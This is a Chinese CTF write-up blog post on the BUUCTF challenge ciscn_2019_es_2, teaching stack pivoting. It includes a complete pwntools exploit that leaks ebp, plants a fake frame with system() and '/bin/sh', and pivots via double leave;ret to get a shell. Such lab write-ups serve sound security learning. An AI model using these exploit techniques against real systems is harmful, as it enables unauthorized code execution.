[BUUCTF]ciscn_2019_es_2 栈迁移

反编译文件

        一上来就看到了hack函数,不过是个陷阱,不多赘述,真正的漏洞在vul()函数里:

        这里s的长度只有40(0x28),但是通过read读取了0x30字节的数据。相当于可以溢出8字节的数据。

        在ubuntu里用file看一下这是个32bit程序,那么移除8字节的话刚好就是ebp和ret的长度,再多的就构造不了了,所以需要使用栈迁移。

        本人纯新手,第一次接触到栈迁移,查了很多资料,也自己调试了很多次才搞明白的。这里主要讲我做题的时候不懂的地方,有些其他博客里写了的东西我就少说点。

主要思路

        因为一次读入0x30个字节空间太少,构造gedget的空间不够,所以需要把gadget放在空间足够的地方,然后通过多次(这个题目是两次)leave和ret把函数劫持到我们构造的gadget的位置。

        这个题目里s有0x28个字节的空间,这个空间足够我们存放构造的gadget,所以我们把gadget就放在s的栈空间里就行。

        我的payload如下:

from pwn import *
from LibcSearcher import *

p = remote("node5.buuoj.cn", 26021)
elf = ELF("./ciscn_2019_es_2")

payload = b'a' * 0x27 + b'b'

sys_addr = 0x08048400
leave_ret_addr = 0x08048562

p.recvuntil(b'Welcome, my friend. What\'s your name?\n')
p.send(payload)
p.recvuntil(b"b")
ebp = u32(p.recv(4))
print(hex(ebp))
payload = b"a" * 4 + p32(sys_addr) + p32(0) + p32(ebp-0x28) + b'/bin/sh'
payload = payload.ljust(0x28, b'\x00')
payload += p32(ebp-0x38) + p32(leave_ret_addr)
p.send(payload)


p.interactive()

        这个payload的和其他的博客里基本没啥区别,不过我会详细的讲讲我思考的每一步是干什么的,要是有不对的地方希望大佬们指正。

详细步骤

获取ebp

        我们需要把gadget放在s的栈空间里,然后控制程序的返回值让程序返回到栈上gadget的地址,所以我们需要先获取ebp的值。

        获取方法就是,把s填满,末尾没有"\x00",那么printf就不会停止,然后一直输出,超出s的0x28的大小之后就会输出ebp的值。这也就是第一段payload:

p.recvuntil(b'Welcome, my friend. What\'s your name?\n')
p.send(payload)
p.recvuntil(b"b")
ebp = u32(p.recv(4))
print(hex(ebp))

        这一段应该很好理解。

返回到gadget

        返回到gadget主要是第二段payload控制的,完整版应该是这样的:

payload = b"a" * 4 + p32(sys_addr) + p32(0) + p32(ebp-0x28) + b'/bin/sh'
payload = payload.ljust(0x28, b'\x00')
payload += p32(ebp-0x38) + p32(leave_ret_addr)

        前两行可以理解为构造好了放在栈上的gadget,最后一行用于在输入之后覆盖ebp和ret的地址。

        前两行:

        前四个字节是垃圾字符,后面是构造的gadget,不满0x28的用0填充就行。

        最后一行:

        1. 为什么填充ebp的是p32(ebp-0x38)

        简单用gdb调试一下就可以发现,ebp距离s的第一个字节距离是0x38,所以ebp-0x38就是s开始的地址。

        2. 为什么要用leave ret的地址覆盖原来的返回地址,也就是说为什么要调用两次leave ret。

        通过ida分析可知,函数在结束的时候会调用一次leave,ret

        leave指令就是mov esp, ebp; pop ebp,ret就是pop eip。

为什么调用两次leave ret是可行的

        我们可以通过一步步调试第二段payload之后输入之后程序的变化找到答案

        如上图所示,我把程序断在了第二个printf调用完毕之后的位置,我们继续执行到leave:

        我们看到,esp指向s开头,ebp中的值和esp一样,也是s开头,eip指向leave,即即将执行leave。然后继续运行程序:

        可以看到,这个时候的ebp已经指向s开头了,esp指向ret的地址,即我们将第二次执行leave ret的地址。我们直接进入到第二次leave ret:

        

        到这里,马上将再次进行leave的操作,即mov esp, ebp; pop ebp。所以esp会立马指向和ebp同一个位置,即s开头的位置,然后执行pop ebp,将esp指向的值扔给ebp,然后esp + 4。

        根据我们之前构造的payload,前四个字节是填充,紧随其后的就是system()函数的地址。那么此时esp就是指向的system()的函数的地址。然后再继续执行ret指令,即pop eip,就相当于把system()函数的地址给了eip,那么程序下一步就会进入到system()函数中,也就执行我们的gadget。

        到此也就说明了为什么执行两次leave ret是可行的。这个过程其实多调试几次就可以完全看理解。

为什么调用一次leave ret不行

        这是我做这个题疑问最大的地方。所以我自己也试了一下,即把payload写成这样:

payload = p32(sys_addr) + p32(0) + p32(ebp-0x28) + b'/bin/sh'
payload = payload.ljust(0x28, b'\x00')
payload += p32(ebp-0x38) + p32(ebp - 0x34)

        事实证明是不行的,因为ret命令其实是pop eip,eip必须是可执行的代码。这里面ebp-0x34是栈上空间的地址,所以pop eip就是把栈上的地址给了eip,而真实的system()地址还需要再从这个栈的地址里取出来,eip不能做这个操作,所以会把栈空间的地址直接当指令执行,自然也就不成功。

        还有一个原因,32位程序payload构造的格式要求,必须是函数地址+返回值+参数。这里读入的数据只能读到函数地址,后面的返回值和参数长度是不够的。

增强理解

        如果觉得寄存器那里有点绕,可以多跟ai交流一下,理解一下ebp的地址是地址,内容是内容,这两者之间有什么关系。简单来讲就是指针有自己的地址,而指针指向的内容又是另外一回事。

        时候不早了,想到什么再补充吧。

        

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值